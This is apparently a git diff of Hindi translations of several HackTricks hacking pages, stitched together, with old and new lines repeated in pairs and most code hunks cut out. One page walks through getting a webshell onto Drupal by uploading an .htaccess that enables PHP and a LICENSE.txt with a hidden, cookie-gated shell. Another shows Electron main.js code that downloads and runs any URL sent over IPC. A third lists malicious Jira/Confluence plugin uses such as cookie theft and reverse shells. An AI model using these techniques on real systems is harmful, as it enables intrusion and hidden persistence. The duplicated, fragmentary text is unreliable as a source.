<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field\_media\_document.yml**
फिर, दूसरे प्रविष्टि `file_extensions` को इस प्रकार पैच करें:
फिर, दूसरे प्रविष्टि `file_extensions` को पैच करें:
File: field.field.media.document.field\_media\_document.yml
```
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
...
```
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
के लिए:
@ -166,13 +166,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
...
```
> मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता लेकिन यह नोट किया गया है कि इसे मनमाने तरीके से `file_directory` प्रविष्टि को परिभाषित करना संभव है और यह एक पथ traversal हमले के लिए संवेदनशील है (इसलिए हम Drupal फ़ाइल सिस्टम पेड़ के भीतर वापस जा सकते हैं)।
> मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता, लेकिन यह नोट किया गया है कि इसे मनमाने तरीके से `file_directory` को परिभाषित करना संभव है और यह एक पथ traversal हमले के लिए संवेदनशील है (इसलिए हम Drupal फ़ाइल सिस्टम पेड़ के भीतर वापस जा सकते हैं)।
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### भाग 3 (विशेषता _Add Document_ का लाभ उठाना) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
अंतिम चरण सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला है .htaccess प्रारूप में एक फ़ाइल अपलोड करना ताकि Apache निर्देशों का लाभ उठाया जा सके और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्यायित करने की अनुमति दी जा सके। दूसरा है हमारी पेलोड वाली .txt फ़ाइल अपलोड करना।
अंतिम कदम सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला है .htaccess प्रारूप में एक फ़ाइल अपलोड करना ताकि Apache निर्देशों का लाभ उठाया जा सके और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्यायित करने की अनुमति दी जा सके। दूसरा है एक .txt फ़ाइल अपलोड करना जिसमें हमारा payload हो
File: .htaccess
```
@ -198,9 +198,9 @@ php_flag engine on
हमारे Webshell का नाम LICENSE.txt क्यों रखा जाए?
सिर्फ इसलिए क्योंकि यदि हम निम्नलिखित फ़ाइल लेते हैं, उदाहरण के लिए [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (जो पहले से ही Drupal कोर में मौजूद है), तो हमारे पास 339 लाइनों और 17.6 KB आकार की एक फ़ाइल है, जो बीच में एक छोटा PHP कोड स्निपेट जोड़ने के लिए एकदम सही है (क्योंकि फ़ाइल काफी बड़ी है)।
सिर्फ इसलिए क्योंकि अगर हम निम्नलिखित फ़ाइल लेते हैं, उदाहरण के लिए [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (जो पहले से ही Drupal कोर में मौजूद है), तो हमारे पास 339 लाइनों और 17.6 KB आकार की एक फ़ाइल है, जो बीच में एक छोटा PHP कोड स्निपेट जोड़ने के लिए एकदम सही है (क्योंकि फ़ाइल काफी बड़ी है)।
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
फ़ाइल: पैच किया गया LICENSE.txt
```txt
@ -231,47 +231,47 @@ programs whose distribution conditions are different, write to the author
...
```
#### **भाग 3.1 (फाइल .htaccess अपलोड करें)**
#### **Part 3.1 (फाइल अपलोड करें .htaccess)**
पहले, हम _Add Document_ (/media/add/document) सुविधा का उपयोग करके अपनी फाइल अपलोड करते हैं जिसमें Apache निर्देश (.htaccess) होते हैं।
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
**भाग 3.2 (फाइल LICENSE.txt अपलोड करें)**
**Part 3.2 (फाइल अपलोड करें LICENSE.txt)**
फिर, हम _Add Document_ (/media/add/document) सुविधा का फिर से उपयोग करते हैं ताकि एक लाइसेंस फाइल के भीतर छिपा हुआ Webshell अपलोड किया जा सके।
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
### भाग 4 (Webshell के साथ इंटरैक्शन) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
### Part 4 (Webshell के साथ इंटरैक्शन) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
अंतिम भाग Webshell के साथ इंटरैक्ट करने का है।
जैसा कि निम्नलिखित स्क्रीनशॉट में दिखाया गया है, यदि हमारे Webshell द्वारा अपेक्षित कुकी परिभाषित नहीं है, तो हमें वेब ब्राउज़र के माध्यम से फाइल पर परामर्श करते समय निम्नलिखित परिणाम मिलता है
जैसा कि निम्नलिखित स्क्रीनशॉट में दिखाया गया है, यदि हमारे Webshell द्वारा अपेक्षित कुकी परिभाषित नहीं है, तो हम वेब ब्राउज़र के माध्यम से फाइल परामर्श करते समय निम्नलिखित परिणाम प्राप्त करते हैं
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
जब हमलावर कुकी सेट करता है, तो वह Webshell के साथ इंटरैक्ट कर सकता है और जो चाहें कमांड निष्पादित कर सकता है।
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
और जैसा कि आप लॉग में देख सकते हैं, ऐसा लगता है कि केवल एक txt फाइल का अनुरोध किया गया है।
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
इस लेख को पढ़ने के लिए धन्यवाद, मुझे उम्मीद है कि यह आपको कुछ शेल प्राप्त करने में मदद करेगा।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Electron contextIsolation RCE via IPC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,20 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
यदि preload स्क्रिप्ट main.js फ़ाइल से एक IPC एंडपॉइंट को उजागर करती है, तो रेंडर प्रक्रिया इसे एक्सेस कर सकेगी और यदि यह कमजोर है, तो RCE संभव हो सकता है।
यदि preload स्क्रिप्ट main.js फ़ाइल से एक IPC एंडपॉइंट को उजागर करती है, तो रेंडर प्रक्रिया इसे एक्सेस कर सकेगी और यदि यह कमजोर है, तो RCE संभव हो सकता है।
**इनमें से अधिकांश उदाहरण यहाँ से लिए गए थे** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)। आगे की जानकारी के लिए वीडियो देखें।
## Example 0
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) से उदाहरण (आपके पास उन स्लाइड में MS Teams के XSS से RCE का पूरा उदाहरण है, यह सिर्फ एक बहुत बुनियादी उदाहरण है):
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) से उदाहरण (आपके पास MS Teams के XSS से RCE तक के दुरुपयोग का पूरा उदाहरण है, यह सिर्फ एक बहुत बुनियादी उदाहरण है):
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Example 1
चेक करें कि `main.js` `getUpdate` पर कैसे सुनता है और **किसी भी URL** को **डाउनलोड और निष्पादित करेगा** जो पास किया गया है।\
यह भी चेक करें कि `preload.js` **मुख्य से किसी भी IPC** इवेंट को कैसे उजागर करता है।
चेक करें कि `main.js` `getUpdate` पर कैसे सुनता है और **किसी भी URL** को **डाउनलोड और निष्पादित** करेगा।\
यह भी चेक करें कि `preload.js` **मुख्य से किसी भी IPC** इवेंट को कैसे **उजागर** करता है।
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
@ -95,7 +95,7 @@ shell.openExternal(url);
```
## Example 3
क्या प्रीलोड स्क्रिप्ट मुख्य प्रक्रिया के साथ पूरी तरह से संवाद करने के तरीके प्रदान करती है, तो एक XSS किसी भी घटना को भेजने में सक्षम होगा। इसका प्रभाव इस पर निर्भर करता है कि मुख्य प्रक्रिया IPC के संदर्भ में क्या प्रदान करती है।
यदि प्रीलोड स्क्रिप्ट मुख्य प्रक्रिया के साथ पूरी तरह से संवाद करने के तरीके प्रदान करती है, तो एक XSS किसी भी घटना को भेजने में सक्षम होगा। इसका प्रभाव इस बात पर निर्भर करता है कि मुख्य प्रक्रिया IPC के संदर्भ में क्या प्रदान करती है।
```javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
@ -106,8 +106,8 @@ ipcRenderer.send(event, data);
};
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
## Check Privileges
Jira में, **privileges को** किसी भी उपयोगकर्ता द्वारा, प्रमाणित या नहीं, `/rest/api/2/mypermissions` या `/rest/api/3/mypermissions` के माध्यम से जांचा जा सकता है। ये एंडपॉइंट उपयोगकर्ता के वर्तमान अधिकारों को प्रकट करते हैं। एक महत्वपूर्ण चिंता तब उत्पन्न होती है जब **गैर-प्रमाणित उपयोगकर्ताओं के पास अधिकार होते हैं**, जो एक **सुरक्षा कमजोरी** को इंगित करता है जो संभावित रूप से **बाउंटी** के लिए योग्य हो सकता है। इसी तरह, **प्रमाणित उपयोगकर्ताओं के लिए अप्रत्याशित अधिकार** भी एक **कमजोरी** को उजागर करते हैं।
Jira में, **privileges को** किसी भी उपयोगकर्ता द्वारा, प्रमाणित या नहीं, `/rest/api/2/mypermissions` या `/rest/api/3/mypermissions` के माध्यम से जांचा जा सकता है। ये endpoints उपयोगकर्ता के वर्तमान privileges को प्रकट करते हैं। एक महत्वपूर्ण चिंता तब उत्पन्न होती है जब **गैर-प्रमाणित उपयोगकर्ताओं के पास privileges होते हैं**, जो एक **सुरक्षा कमजोरी** को इंगित करता है जो संभावित रूप से **बाउंटी** के लिए योग्य हो सकता है। इसी तरह, **प्रमाणित उपयोगकर्ताओं के लिए अप्रत्याशित privileges** भी एक **कमजोरी** को उजागर करते हैं।
**1 फरवरी 2019** को एक महत्वपूर्ण **अपडेट** किया गया, जिसमें 'mypermissions' एंडपॉइंट को एक **'permission' पैरामीटर** शामिल करने की आवश्यकता थी। यह आवश्यकता **सुरक्षा को बढ़ाने** के लिए है, जो पूछे गए अधिकारों को निर्दिष्ट करती है: [यहाँ जांचें](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
**1 फरवरी 2019** को एक महत्वपूर्ण **अपडेट** किया गया, जिसमें 'mypermissions' endpoint को एक **'permission' parameter** शामिल करने की आवश्यकता थी। यह आवश्यकता **सुरक्षा को बढ़ाने** के लिए है, जो पूछे गए privileges को निर्दिष्ट करती है: [यहाँ जांचें](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -127,11 +127,11 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
* **सत्र टोकन चुराना**: एक एंडपॉइंट जोड़ें जो प्रतिक्रिया में हेडर को इको करेगा (कुकी के साथ) और कुछ जावास्क्रिप्ट जो इसे संपर्क करेगा और कुकीज़ को लीक करेगा।
* **कमांड निष्पादन**: निश्चित रूप से, एक प्लगइन बनाना संभव है जो कोड निष्पादित करेगा।
* **रिवर्स शेल**: या एक रिवर्स शेल प्राप्त करें।
* **DOM प्रॉक्सींग**: यदि कॉन्फ्लुएंस एक निजी नेटवर्क के अंदर है, तो यह संभव होगा कि कुछ उपयोगकर्ता के ब्राउज़र के माध्यम से कनेक्शन स्थापित किया जाए जो इसके लिए पहुंच रखता है और उदाहरण के लिए सर्वर कमांड निष्पादन के माध्यम से संपर्क करे
* **DOM प्रॉक्सींग**: यदि कॉन्फ्लुएंस एक निजी नेटवर्क के अंदर है, तो किसी उपयोगकर्ता के ब्राउज़र के माध्यम से कनेक्शन स्थापित करना संभव होगा जो इसके लिए पहुंच रखता है और उदाहरण के लिए, इसके माध्यम से सर्वर कमांड निष्पादित करने के लिए संपर्क करें
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -23,7 +23,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
एक्सटेंशन लेआउट सबसे अच्छे लगते हैं जब उन्हें विज़ुअलाइज़ किया जाता है और इसमें तीन घटक होते हैं। आइए प्रत्येक घटक को गहराई से देखें।
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Content Scripts**
@ -35,7 +35,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
### **Native Binary**
एक्सटेंशन एक नैटिव बाइनरी की अनुमति देता है जो **उपयोगकर्ता के पूर्ण विशेषाधिकार के साथ होस्ट मशीन तक पहुंच सकता है।** नैटिव बाइनरी एक्सटेंशन कोर के साथ मानक नेटस्केप प्लगइन एप्लिकेशन प्रोग्रामिंग इंटरफेस ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) के माध्यम से इंटरैक्ट करता है, जिसका उपयोग फ्लैश और अन्य ब्राउज़र प्लग-इन्स द्वारा किया जाता है।
एक्सटेंशन एक नैटिव बाइनरी की अनुमति देता है जो **उपयोगकर्ता के पूर्ण विशेषाधिकार के साथ होस्ट मशीन तक पहुंच सकता है।** नैटिव बाइनरी एक्सटेंशन कोर के साथ मानक नेटस्केप प्लगइन एप्लिकेशन प्रोग्रामिंग इंटरफेस ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) के माध्यम से इंटरैक्ट करता है जिसका उपयोग फ्लैश और अन्य ब्राउज़र प्लग-इन्स द्वारा किया जाता है।
### Boundaries
@ -43,13 +43,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
उपयोगकर्ता के पूर्ण विशेषाधिकार प्राप्त करने के लिए, एक हमलावर को एक्सटेंशन को यह मनाने की आवश्यकता होती है कि वह कंटेंट स्क्रिप्ट से दुर्भावनापूर्ण इनपुट को एक्सटेंशन के कोर में और एक्सटेंशन के कोर से नैटिव बाइनरी में पास करे।
{% endhint %}
एक्सटेंशन के प्रत्येक घटक को **मजबूत सुरक्षात्मक सीमाओं** द्वारा एक-दूसरे से अलग किया गया है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए अनुपलब्ध हैं।
एक्सटेंशन का प्रत्येक घटक एक-दूसरे से **मजबूत सुरक्षात्मक सीमाओं** द्वारा अलग होता है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए अनुपलब्ध हैं।
इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग जावास्क्रिप्ट हीप में चलती है**। कंटेंट स्क्रिप्ट और वेब पृष्ठ के पास **एक ही अंतर्निहित DOM** तक पहुंच होती है, लेकिन दोनों **कभी भी जावास्क्रिप्ट पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे जावास्क्रिप्ट कार्यक्षमता का लीक होना रोकता है।
इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग जावास्क्रिप्ट हीप में चलती है**। कंटेंट स्क्रिप्ट और वेब पृष्ठ **एक ही अंतर्निहित DOM** तक पहुंच रखते हैं, लेकिन दोनों **कभी भी जावास्क्रिप्ट पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे जावास्क्रिप्ट कार्यक्षमता का लीक होना रोकता है।
## **`manifest.json`**
एक क्रोम एक्सटेंशन बस एक ज़िप फ़ोल्डर है जिसमें [.crx फ़ाइल एक्सटेंशन](https://www.lifewire.com/crx-file-2620391) होता है। एक्सटेंशन का कोर फ़ोल्डर के रूट पर **`manifest.json`** फ़ाइल है, जो लेआउट, अनुमतियों और अन्य कॉन्फ़िगरेशन विकल्पों को निर्दिष्ट करता है।
एक क्रोम एक्सटेंशन बस एक ज़िप फ़ोल्डर है जिसमें [.crx फ़ाइल एक्सटेंशन](https://www.lifewire.com/crx-file-2620391) होता है। एक्सटेंशन का कोर फ़ोल्डर के रूट में **`manifest.json`** फ़ाइल है, जो लेआउट, अनुमतियों और अन्य कॉन्फ़िगरेशन विकल्पों को निर्दिष्ट करता है।
Example:
```json
@ -84,7 +84,7 @@ Example:
```
### `content_scripts`
कंटेंट स्क्रिप्ट्स **लोड** होती हैं जब भी उपयोगकर्ता **मिलते-जुलते पृष्ठ पर नेविगेट** करता है, हमारे मामले में कोई भी पृष्ठ जो **`https://example.com/*`** अभिव्यक्ति से मेल खाता है और **`*://*/*/business*`** regex से मेल नहीं खाता। ये **पृष्ठ के अपने स्क्रिप्ट्स की तरह** निष्पादित होती हैं और पृष्ठ के [डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) तक मनमाना पहुंच होती है।
कंटेंट स्क्रिप्ट्स **लोड** होती हैं जब भी उपयोगकर्ता **मिलते-जुलते पृष्ठ** पर **जाते हैं**, हमारे मामले में कोई भी पृष्ठ जो **`https://example.com/*`** अभिव्यक्ति से मेल खाता है और **`*://*/*/business*`** regex से मेल नहीं खाता। ये **पृष्ठ के अपने स्क्रिप्ट्स** की तरह कार्यान्वित होती हैं और पृष्ठ के [डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) तक मनमाना पहुंच होती है।
```json
"content_scripts": [
{
@ -99,9 +99,9 @@ Example:
}
],
```
URLs को शामिल या बाहर करने के लिए **`include_globs`** और **`exclude_globs`** का उपयोग करना भी संभव है।
अधिक URLs को शामिल या बाहर करने के लिए **`include_globs`** और **`exclude_globs`** का उपयोग करना भी संभव है।
यह एक उदाहरण सामग्री स्क्रिप्ट है जो पृष्ठ पर एक व्याख्या बटन जोड़ेगी जब [स्टोरेज API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) े एक्सटेंशन के स्टोरेज से `message` मान प्राप्त किया जाएगा।
यह एक उदाहरण सामग्री स्क्रिप्ट है जो पृष्ठ पर एक व्याख्या बटन जोड़ेगी जब [स्टोरेज API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) का उपयोग करके एक्सटेंशन के स्टोरेज से `message` मान प्राप्त किया जाएगा।
```js
chrome.storage.local.get("message", result =>
{
@ -119,7 +119,7 @@ document.body.appendChild(div);
जब इस बटन पर क्लिक किया जाता है, तो सामग्री स्क्रिप्ट द्वारा एक्सटेंशन पृष्ठों को एक संदेश भेजा जाता है, [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) का उपयोग करके। यह सामग्री स्क्रिप्ट की APIs तक सीधे पहुंच की सीमा के कारण है, जिसमें `storage` कुछ अपवादों में से एक है। इन अपवादों से परे कार्यक्षमताओं के लिए, संदेश एक्सटेंशन पृष्ठों पर भेजे जाते हैं जिनसे सामग्री स्क्रिप्ट संवाद कर सकती हैं।
{% hint style="warning" %}
ब्राउज़र के आधार पर, सामग्री स्क्रिप्ट की क्षमताएँ थोड़ी भिन्न हो सकती हैं। क्रोमियम-आधारित ब्राउज़रों के लिए, क्षमताओं की सूची [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities) में उपलब्ध है, और फ़ायरफ़ॉक्स के लिए, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) मुख्य स्रोत के रूप में कार्य करता है।\
ब्राउज़र के आधार पर, सामग्री स्क्रिप्ट की क्षमताएँ थोड़ी भिन्न हो सकती हैं। क्रोमियम-आधारित ब्राउज़रों के लिए, क्षमताओं की सूची [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities) में उपलब्ध है, और फ़ायरफ़ॉक्स के लिए, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) प्राथमिक स्रोत के रूप में कार्य करता है।\
यह भी ध्यान देने योग्य है कि सामग्री स्क्रिप्ट के पास बैकग्राउंड स्क्रिप्ट के साथ संवाद करने की क्षमता होती है, जिससे उन्हें क्रियाएँ करने और प्रतिक्रियाएँ वापस भेजने की अनुमति मिलती है।
{% endhint %}
@ -130,7 +130,7 @@ Chrome में सामग्री स्क्रिप्ट को दे
### Injected content scripts
{% hint style="success" %}
ध्यान दें कि **Content Scripts अनिवार्य नहीं हैं** क्योंकि यह **डायनामिकली** **inject** स्क्रिप्ट करने और **`tabs.executeScript`** के माध्यम से वेब पृष्ठों में **प्रोग्रामेटिकली** उन्हें **inject** करने की भी संभावना है। यह वास्तव में अधिक **granular controls** प्रदान करता है।
ध्यान दें कि **Content Scripts अनिवार्य नहीं हैं** क्योंकि यह **डायनामिकली** **inject** स्क्रिप्ट करने और **`tabs.executeScript`** के माध्यम से वेब पृष्ठों में **प्रोग्रामेटिकली** उन्हें inject करने की भी संभावना है। यह वास्तव में अधिक **granular controls** प्रदान करता है।
{% endhint %}
एक सामग्री स्क्रिप्ट के प्रोग्रामेटिक इंजेक्शन के लिए, एक्सटेंशन को उस पृष्ठ के लिए [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) की आवश्यकता होती है जिसमें स्क्रिप्ट को इंजेक्ट किया जाना है। ये अनुमतियाँ या तो एक्सटेंशन के मैनिफेस्ट में **उनकी मांग करके** या [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) के माध्यम से अस्थायी आधार पर सुरक्षित की जा सकती हैं।
@ -202,11 +202,11 @@ URLs को शामिल या बाहर करने के लिए **
`run_at` फ़ील्ड **यह नियंत्रित करती है कि JavaScript फ़ाइलें वेब पृष्ठ में कब इंजेक्ट की जाती हैं**। पसंदीदा और डिफ़ॉल्ट मान `"document_idle"` है।
संभव मान हैं:
संभित मान हैं:
* **`document_idle`**: जब भी संभव हो
* **`document_start`**: `css` से किसी भी फ़ाइल के बाद, लेकिन किसी अन्य DOM के निर्माण या किसी अन्य स्क्रिप्ट के चलने से पहले।
* **`document_end`**: DOM के पूर्ण होने के तुरंत बाद, लेकिन छवियों और फ़्रेम जैस उप-संसाधनों के लोड होने से पहले।
* **`document_end`**: DOM के पूर्ण होने के तुरंत बाद, लेकिन छवियों और फ़्रेम जैस उप-संसाधनों के लोड होने से पहले।
#### `manifest.json` के माध्यम से
```json
@ -240,7 +240,7 @@ js : [ "contentScript.js" ],
**मुख्य बिंदु**:
